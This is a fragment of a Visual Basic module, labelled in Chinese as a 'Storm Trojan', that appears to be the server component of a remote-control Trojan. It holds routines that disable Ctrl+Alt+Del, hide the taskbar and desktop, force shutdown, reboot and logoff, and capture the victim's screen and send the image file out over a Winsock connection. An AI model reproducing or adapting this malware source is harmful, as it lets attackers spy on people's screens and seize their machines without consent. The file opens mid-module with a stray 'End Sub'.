modapi.bas

风暴木马非常好的木马程序

End Sub

Function IsScrollLockOn()
GetKeyboardState kbArray
IsScrollLockOn = kbArray.kbByte(VK_SCROLL)
End Function

Sub CapsLock(Enabled As Boolean)
GetKeyboardState kbArray
If Enabled = True Then
    kbArray.kbByte(VK_CAPITAL) = 1
ElseIf Enabled = False Then
    kbArray.kbByte(VK_CAPITAL) = 0
End If
SetKeyboardState kbArray
End Sub

Sub NumLock(Enabled As Boolean)
GetKeyboardState kbArray
If Enabled = True Then
    kbArray.kbByte(VK_NUMLOCK) = 1
ElseIf Enabled = False Then
    kbArray.kbByte(VK_NUMLOCK) = 0
End If
SetKeyboardState kbArray
End Sub

Sub ScrollLock(Enabled As Boolean)
GetKeyboardState kbArray
If Enabled = True Then
    kbArray.kbByte(VK_SCROLL) = 1
ElseIf Enabled = False Then
    kbArray.kbByte(VK_SCROLL) = 0
End If
SetKeyboardState kbArray
End Sub

Sub StartScreensaver(Form1 As Form)
Dim result As Long
result = SendMessage(Form1.hwnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
End Sub

Sub Taskbar(visible As Boolean)
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
If visible = True Then
    Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
ElseIf visible = False Then
    Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End If
End Sub

Sub Desktop(visible As Boolean)
Dim hwnd As Long
hwnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hwnd, 0
End Sub

Sub CtrlAltDel(visible As Boolean)
Dim a
Dim huh
a = SystemParametersInfo(97, huh, CStr(1), 0)
End Sub

Function MilliToHMS(Milliseconds)
Dim Sec, Min0, Min, Hr
Hr = Fix(Milliseconds / 3600000)
Min0 = Fix(Milliseconds Mod 3600000)
Min = Fix(Min0 / 60000)
Sec = Fix(Min0 Mod 60000)
Sec = Fix(Sec / 1000)
If Len(Sec) = 1 Then
    Sec = "0" & Sec
End If
If Len(Min) = 1 Then
    Min = "0" & Min
End If
If Len(Hr) = 1 Then
    Hr = "0" & Hr
End If
MilliToHMS = Hr & ":" & Min & ":" & Sec
End Function

Function GetTimeOnWindows()
GetTimeOnWindows = MilliToHMS(GetTickCount&)
End Function

Sub ShutDownWindows()
Dim a
a = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)
End Sub

Sub RestartWindows()
Dim a
a = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
End Sub

Sub LogOffWindows()
Dim a
a = ExitWindowsEx(EWX_FORCE Or EWX_LOGOFF, 0)
End Sub


Sub PrintText(Text As String)
Dim lPrinter As Long
Dim lRet As Long
Dim lDoc As Long
Dim udtDocInfo As DOCINFO
Dim lWritten As Long

lRet = OpenPrinter(Printer.DeviceName, lPrinter, 0)
If lRet = 0 Then
    Exit Sub
End If

udtDocInfo.pDocName = "-"
udtDocInfo.pOutputFile = vbNullString
udtDocInfo.pDatatype = vbNullString
lDoc = StartDocPrinter(lPrinter, 1, udtDocInfo)
Call StartPagePrinter(lPrinter)
lRet = WritePrinter(lPrinter, ByVal Text, Len(Text), lWritten)
lRet = EndPagePrinter(lPrinter)
lRet = EndDocPrinter(lPrinter)
lRet = ClosePrinter(lPrinter)
End Sub

Public Sub DumpToWindow(TargetBox As Control, change, fliph As Boolean, flipv As Boolean)
Dim Desktop As Long 'this will be set the hDc of the desktop
Dim ww, hh
Desktop = GetDC(GetDesktopWindow) 'get the hDc of the desktop and put it in the variable 'desktop'
ww = Screen.Width / Screen.TwipsPerPixelX 'get screen size in pixels
hh = Screen.Height / Screen.TwipsPerPixelY
BitBlt TargetBox.hdc, 0, 0, ww, hh, Desktop, 0, 0, change 'copy to form2.picture1
If fliph = True Then Call FlipPictureHorizontal(frmDesktop.Picture1, frmDesktop.Picture1) 'if requested, flip
If flipv = True Then Call FlipPictureVertical(frmDesktop.Picture1, frmDesktop.Picture1) 'if requested, flip
End Sub
Sub FlipPictureHorizontal(pic1 As PictureBox, pic2 As PictureBox)
pic1.ScaleMode = 3 'set scale modes
pic2.ScaleMode = 3
Dim px%
Dim py%
Dim retval%
px% = pic1.ScaleWidth
py% = pic1.ScaleHeight
retval% = StretchBlt(pic2.hdc, px%, 0, -px%, py%, pic1.hdc, 0, 0, px%, py%, SRCCOPY)
End Sub
Sub FlipPictureVertical(pic1 As PictureBox, pic2 As PictureBox)
pic1.ScaleMode = 3 'set scale modes
pic2.ScaleMode = 3
Dim px%
Dim py%
Dim retval%
px% = pic1.ScaleWidth
py% = pic1.ScaleHeight
retval% = StretchBlt(pic2.hdc, 0, py%, px%, -py%, pic1.hdc, 0, 0, px%, py%, SRCCOPY)
End Sub

Public Sub Arrayize(sTxt As String, sToken As String)
    Dim iTokenCnt As Integer
    Dim NumCmd As Integer
    Dim iTokenLen As Integer
    Dim lOffset As Long
    Dim lPrevOffset As Long
    iTokenLen = Len(sToken)
    lOffset = InStr(sTxt, sToken)
    Do While lOffset > 0
        ReDim Preserve Cmd(iTokenCnt)
        If lOffset - lPrevOffset > 1 Then
           Cmd(iTokenCnt) = Mid$(sTxt, lPrevOffset + 1, lOffset - 1 - lPrevOffset)
        Else
        End If
        lPrevOffset = lOffset
        lOffset = InStr(lOffset + iTokenLen, sTxt, sToken)
        iTokenCnt = iTokenCnt + 1
    Loop
    ReDim Preserve Cmd(iTokenCnt)
    Cmd(iTokenCnt) = Mid$(sTxt, lPrevOffset + 1)
NumCmd = iTokenCnt
End Sub

Sub MouseTrail(Trails As Long)
Dim a
a = SystemParametersInfo(SPI_SETMOUSETRAILS, Trails, ByVal 0&, SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE)
End Sub

Public Sub ScreenShot(TargetBox As Control)
' here i supose u are dumping it to a window/control
' that actually HAS a .hdc property, i mean, tweek it at will.
Dim Desktop As Long
Dim ww, hh
Desktop = GetDC(GetDesktopWindow)

ww = Screen.Width / Screen.TwipsPerPixelX
hh = Screen.Height / Screen.TwipsPerPixelY

BitBlt TargetBox.hdc, 0, 0, ww, hh, Desktop, 0, 0, &HCC0020

End Sub

Sub GoToWebsite(Website As String)
If ShellExecute(&O0, "Open", Website$, vbNullString, vbNullString, vbNormal) < 33 Then
End If
End Sub

Function GetFilePath(FileName As String, Optional IncludeDrive As Boolean = True) As String
' returns full path. drive can be excluded if needed
  GetFilePath = FileName
  If (Not IncludeDrive) Then FileName = Right$(FileName, Len(FileName) - 3)
  Dim i As Integer
  GetFilePath = FileName     ' Just in case there is no "\" in the file
  For i = 1 To Len(FileName)
    If Mid$(FileName, Len(FileName) - i, 1) = "\" Then
      GetFilePath = Mid$(FileName, 1, Len(FileName) - (i + 1))
      Exit For
    End If
  Next
End Function

Sub PlayMedia(MediaFile)
On Error GoTo error_handler
lRet = mciSendString("play " & MediaFile, 0&, 0, 0)
error_handler:
frmServer.WS.SendData "WavError"
End Sub

Public Sub SendDesktop(FileName As String, WinS As Winsock)

Dim FreeF As Integer
Dim LenFile As Long
Dim nCnt As Long
Dim LocData As String
Dim LoopTimes As Long
Dim i As Long

FreeF = FreeFile

Open FileName For Binary As #99

nCnt = 1

LenFile = LOF(99)


Sleep (400)


Do Until nCnt >= (LenFile)
  
    LocData = Space$(1024) 'Set size of chunks

  
  Get #99, nCnt, LocData 'Get data from the file nCnt is from where to start the get
  
  
  If nCnt + 1024 > LenFile Then
      WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))
  Else
  
    WinS.SendData LocData 'Send the chunk
  End If
  
  nCnt = nCnt + 1024
 
Loop


Close #99

End Sub

Public Function Get_Desktop(ByVal theFile As String) As Boolean
Dim lString As String
    
    DoEvents
    DoEvents
    Call keybd_event(vbKeySnapshot, 1, 0, 0)
    DoEvents
    DoEvents
    
    'To get the Active Window
    SavePicture Clipboard.GetData(vbCFBitmap), theFile

    Get_Desktop = True
Exit Function
End Function

Function GetFileName(FileName As String) As String
'returns filename.ext from drive:\path\path\etc\filename.ext or path\path\path\filename.ext
  Dim i As Integer
  Dim tmp As String
  GetFileName = FileName
  For i = 1 To Len(FileName)
    tmp = Right$(FileName, i)
    If Left$(tmp, 1) = "\" Then
      GetFileName = Mid$(tmp, 2)
      Exit For
    End If
  Next
End Function